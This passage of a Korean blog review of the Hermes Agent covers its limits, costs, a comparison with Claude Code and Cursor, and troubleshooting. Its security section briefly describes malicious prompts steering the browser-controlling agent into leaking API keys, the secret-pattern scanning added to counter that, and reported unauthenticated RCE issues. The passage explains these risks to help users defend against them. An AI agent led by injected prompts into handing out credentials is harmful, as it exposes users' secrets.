this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1050&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 한계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 잘못된 방법을 &quot;학습&quot;할 수도 있다. 예를 들어 프로덕션 DB에 직접 접속하는 패턴을 스킬로 저장해버리면, 다음에도 같은 방식으로 접근한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/tree/main/agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스코드&lt;/a&gt;에 스킬 생성 후 검증 로직이 있긴 하지만, 초기에는 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 생성된 스킬 파일을 직접 열어서 확인하는 습관을 들이는 게 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 10가지 서로 다른 작업을 한 번씩 하면 학습 효과는 거의 없다. &lt;b&gt;같은 유형의 작업을 최소 10~20회 이상 반복해야&lt;/b&gt; 눈에 띄는 개선이 생긴다. 로컬 70B 이하 모델에서는 도구 선택과 멀티스텝 계획 품질도 떨어지므로, 학습 효과를 기대하려면 Claude나 GPT급 모델을 쓰는 게 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;외부 메모리 공급자 제약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 설명한 대로, 외부 메모리 플러그인은 1개만 쓸 수 있다. Honcho를 연결했으면 다른 외부 메모리는 동시에 못 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 용량 제한&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MEMORY.md는 2,200자(약 800 토큰), USER.md는 1,375자(약 500 토큰)가 상한이다. 용량 초과 시 에러가 발생하고 자동 삭제는 되지 않는다. 공식 문서는 80% 초과 시 수동으로 정리하라고 권고한다. 장기 사용 시 메모리를 주기적으로 정돈해야 하는 부담이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;IDE 통합이 없다&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VS Code 플러그인이 없고, Cursor처럼 인라인 자동완성도 안 된다. 터미널과 메시징 앱만 지원한다. 코드를 짜면서 옆에서 도움받고 싶은 사람에게는 맞지 않는다. MCP로 에디터를 연결할 수는 있지만, IDE에 녹아든 경험과는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안: 자격증명 보호&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 브라우저를 직접 제어하니까, 악의적인 프롬프트가 API 키 같은 자격증명을 빼가는 게 이론적으로 가능하다. v0.7.0에서 이를 막기 위해 브라우저 URL과 LLM 응답에서 시크릿 패턴을 스캔하는 레이어가 추가됐다. URL 인코딩, base64 인코딩 경로도 잡아내고, 보호 대상에 &lt;code&gt;.docker&lt;/code&gt;, &lt;code&gt;.azure&lt;/code&gt;, &lt;code&gt;.config/gh&lt;/code&gt; 디렉토리까지 추가됐다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 스캔이 모든 공격을 잡아낸다는 보장은 없으므로, Docker 백엔드로 격리하는 것이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안: 미인증 RCE 취약점 (주의)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-09 기준, webhook을 통한 미인증 원격 코드 실행(RCE) 이슈(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#6440&lt;/a&gt;)와 API 서버를 통한 미인증 RCE 이슈(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6439&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#6439&lt;/a&gt;)가 공개 보고 상태다. 외부 네트워크에 노출된 환경에서 운영할 경우 반드시 해당 이슈의 패치 여부를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;토큰 오버헤드: 호출당 73%가 고정비&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beEiYk/dJMcaipog5y/Zo0GpoYC38OwP0ivv6WQZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeEiYk%2FdJMcaipog5y%2FZo0GpoYC38OwP0ivv6WQZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1942&quot; height=&quot;1036&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 분석(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4379&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #4379&lt;/a&gt;)에 따르면, 매 API 호출마다 도구 정의와 시스템 프롬프트가 고정으로 붙어서 호출당 약 73%가 고정 오버헤드다. 한 사용자가 3개 게이트웨이로 하룻저녁 돌렸더니 약 390만 토큰이 나갔다고 한다. API 키 종량제를 쓴다면 비용에 직접 영향이 있으므로, 불필요한 도구를 줄이는 progressive tool loading이 제안됐지만 아직 구현 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;그래서 한 달에 얼마나 나오나?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소프트웨어 자체는 무료(MIT 라이선스)다. 비용이 나가는 건 API 사용료와 서버 호스팅비다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용 패턴&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;월 API 비용 (추정)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 사용 (하루 10회 대화)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$10~$30&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLI 위주&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;중간 사용 (하루 50회)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$30~$80&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;게이트웨이 1~2개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;헤비 사용 (게이트웨이 3개 상시)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$100~$400+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Telegram은 CLI 대비 토큰 2~3배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 모델 (Ollama)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$0&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;48GB+ RAM 필요, 70B 이하 모델은 품질 저하&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 수치는 커뮤니티 보고와 토큰 오버헤드 분석(Issue #4379)을 기반으로 한 추정이다. 실제 비용은 사용하는 모델, 공급자, 작업 복잡도에 따라 달라진다. 최신 API 가격은 각 공급자 공식 페이지에서 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용 절감 팁: CLI를 기본으로 쓰고(Telegram 대비 토큰 절반), 미사용 도구 카테고리를 비활성화하면 요청당 ~3,500 토큰을 아낄 수 있다. 루틴 작업은 DeepSeek이나 Kimi 같은 저가 모델에 맡기고, 복잡한 작업에만 Claude/GPT를 쓰는 전략이 커뮤니티에서 추천된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;빠른 릴리즈 속도의 양면&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.1.0(2026-02-25)부터 v0.8.0(2026-04-08)까지 5주 만에 8번의 메이저 릴리즈를 냈다. 3~5일 간격이다. 활발한 개발의 신호이지만, 문서가 코드를 따라가지 못하는 구간이 생길 수 있고, 업데이트 후 기존 설정이 깨지는 경우도 보고되고 있다. 오픈 이슈+PR은 2026-04-09 기준 2,306개다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hermes vs Claude Code vs Cursor: 뭐가 다른가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 많이 받는 질문이 &quot;이미 Claude Code(또는 Cursor) 쓰고 있는데, Hermes는 뭐가 달라?&quot;인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론부터 말하면 &lt;b&gt;카테고리 자체가 다르다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code와 Cursor는 IDE 안에서 코드를 도와주는 &quot;코딩 어시스턴트&quot;이고, Hermes는 서버 위에서 알아서 돌아가는 &quot;자율 에이전트&quot;다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Hermes Agent&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Cursor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;카테고리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자율 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩 어시스턴트 (CLI)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩 어시스턴트 (IDE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;장기 메모리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MEMORY.md + USER.md + SQLite FTS5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CLAUDE.md (프로젝트별)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;.cursorrules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자가학습 (스킬 자동 생성)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;24/7 자율 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O (cron + 게이트웨이)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;메시징 플랫폼 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Telegram, Discord, Slack 등 15+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;IDE 통합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;X (터미널 전용)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;VS Code, JetBrains&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자체 IDE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 코드 자동완성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;X&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;200+ (OpenRouter 경유)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude 시리즈만&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 모델 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가격&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;무료 + API 종량제&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구독 $20~$200/월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구독 $20~$40/월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, IDE에서 코드 짜는 데 도움받고 싶다면 Claude Code나 Cursor가 맞다. Hermes는 &quot;서버에 올려두고 반복 작업을 알아서 처리하게 하는 자동화 에이전트&quot;로, 둘을 병행해서 쓰는 것도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 비교는 2026-04-09 기준이며, 각 도구는 빠르게 변하고 있다. 정확한 기능과 가격은 각 공식 사이트에서 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1: 설치 후 &lt;code&gt;hermes auth&lt;/code&gt;가 동작하지 않고 구 버전 레퍼런스와 명령어가 다르다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes auth&lt;/code&gt; 명령이 v0.8.0에서 &lt;code&gt;hermes login&lt;/code&gt;을 대체했다. 구 버전 레퍼런스를 참고하고 있다면 명령어가 달라졌을 수 있다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/commits/main&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;최신 커밋(2026-04-07)&lt;/a&gt;이 이 부분을 수정했다(&lt;code&gt;fix: replace stale 'hermes login' refs with 'hermes auth'&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2: &lt;code&gt;hermes setup&lt;/code&gt; 실행 후 커스텀 엔드포인트 설정이 사라졌다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.7.0 이전 버전에서 setup wizard가 커스텀 엔드포인트를 덮어쓰는 버그가 있었다. v0.7.0에서 수정됐다. &lt;code&gt;config.yaml&lt;/code&gt;이 엔드포인트 URL의 단일 소스로 지정됐으므로, 환경변수와 config.yaml 충돌 문제도 해결됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3: openai-codex provider 사용 시 &quot;Responses API returned no output items&quot; 오류&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-07 등록 후 2026-04-08 &lt;b&gt;해결(closed)&lt;/b&gt; 된 버그다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/5678&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#5678&lt;/a&gt;). gpt-5.4 스트리밍 중 output[]이 비어 있을 때 발생하는 것으로 보고됐다. 최신 버전으로 업데이트하면 해결된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4: MCP OAuth state Pydantic 직렬화 오류가 발생한다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/pull/5677&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR #5677&lt;/a&gt;에서 수정 중이다. Pydantic AnyUrl 필드를 MCP OAuth state 영속화 시 직렬화하지 못하는 버그다. 해당 PR이 병합되면 해결될 예정이므로, 병합 여부를 PR 페이지에서 확인 후 업데이트하는 것을 권고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5: Anthropic 모델 사용 중 갑자기 컨텍스트가 줄어들었다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic long-context tier 429 한도 도달 시 Hermes가 자동으로 컨텍스트를 200k로 축소한다. 의도된 동작이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6: cron 작업이 중복 실행된다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.hermes/cron/.tick.lock&lt;/code&gt; 파일이 남아 있는지와 실행 중인 cron 프로세스 상태를 먼저 확인하는 편이 안전하다. 중복 실행이 지속되면 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 이슈 트래커&lt;/a&gt;에서 동일 증상 보고를 참고하라.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q7: &lt;code&gt;hermes setup&lt;/code&gt; 완료 직후 &lt;code&gt;OSError: [Errno 22] Invalid argument&lt;/code&gt; 크래시&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셋업 자체는 정상 완료되지만, 마지막 단계에서 자동으로 chat을 실행하려다 크래시가 발생하는 경우다. 전체 트레이스백은 다음과 같다:&lt;/p&gt;
&lt;pre class=&quot;vhdl&quot; style=&quot;background: #1e1e2e; color: #cdd6f4; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 13px; line-height: 1.5;&quot;&gt;&lt;code&gt;File &quot;setup.py&quot;, line 2916, in _offer_launch_chat
  cmd_chat(SimpleNamespace(...))
...
File &quot;prompt_toolkit/input/vt100.py&quot;, line 165, in _attached_input
  loop.add_reader(fd, callback_wrapper)
...
OSError: [Errno 22] Invalid argument&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인&lt;/b&gt;: &lt;code&gt;prompt_toolkit&lt;/code&gt;이 stdin(fd=0)을 asyncio selector에 등록하지 못하는 것으로, stdin이 정상적인 TTY가 아닌 환경에서 발생한다. Claude Code &lt;code&gt;!&lt;/code&gt; 명령, VS Code 내장 터미널 일부, 파이프된 stdin 등이 해당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: 셋업은 이미 완료된 상태이므로, &lt;b&gt;일반 터미널&lt;/b&gt;(iTerm2, Terminal.app 등)을 별도로 열고 &lt;code&gt;hermes chat&lt;/code&gt;을 직접 실행하면 된다. &lt;code&gt;hermes setup&lt;/code&gt;을 다시 실행할 필요는 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q8: Anthropic 구독(Pro/Max)으로 Hermes를 쓰면 계정이 정지될 수 있다?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다. 2026년 4월 4일부터 Anthropic은 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes, OpenClaw 등 제3자 도구에서 사용하는 것을 정책 위반으로 규정하고 기술적으로 차단했다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://console.anthropic.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;console.anthropic.com&lt;/a&gt;에서 API 키를 발급받아 종량제로 사용하면 된다. &lt;code&gt;hermes model&lt;/code&gt;에서 Anthropic 선택 후 API 키를 입력하면 정상 사용 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q9: &lt;code&gt;hermes gateway&lt;/code&gt; 시작 시 &lt;code&gt;InvalidToken: The token ... .png was rejected&lt;/code&gt; 에러&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;봇 토큰 입력란에 텍스트 토큰 대신 &lt;b&gt;클립보드의 스크린샷 파일 경로&lt;/b&gt;가 붙여넣기 된 경우다. 실제 에러 메시지에 &lt;code&gt;.png&lt;/code&gt; 경로가 찍힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결&lt;/b&gt;: &lt;code&gt;hermes gateway setup&lt;/code&gt;을 다시 실행하고, BotFather에서 받은 &lt;code&gt;123456789:ABCdefGHI...&lt;/code&gt; 형태의 텍스트 토큰을 정확히 붙여넣으면 된다. macOS에서 이미지를 복사한 상태라면 클립보드를 텍스트로 덮어쓴 뒤 붙여넣기 하자.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 자율 에이전트 트렌드 맥락&lt;/b&gt;&lt;/h2&gt;
